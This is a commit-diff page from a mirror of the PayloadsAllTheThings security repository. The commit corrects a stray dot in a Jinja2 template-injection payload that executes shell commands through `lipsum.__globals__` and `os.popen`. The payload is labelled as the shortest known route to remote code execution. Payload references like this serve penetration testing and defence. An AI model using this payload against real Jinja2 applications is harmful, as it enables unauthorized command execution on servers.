mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-02-12 01:42:04 +00:00
Merge pull request #643 from p0dalirius/patch-2
SSTI / jinja2 : Removed dot in lipsum.__globals__.["os"]
This commit is contained in:
commit
af4ade2a44
@ -576,7 +576,7 @@ Source [@podalirius_](https://twitter.com/podalirius_) : https://podalirius.net/
|
|||||||
With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template:
|
With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
{{ lipsum.__globals__.["os"].popen('id').read() }}
|
{{ lipsum.__globals__["os"].popen('id').read() }}
|
||||||
```
|
```
|
||||||
|
|
||||||
Source: https://twitter.com/podalirius_/status/1655970628648697860
|
Source: https://twitter.com/podalirius_/status/1655970628648697860
|
||||||
|
Loading…
Reference in New Issue
Block a user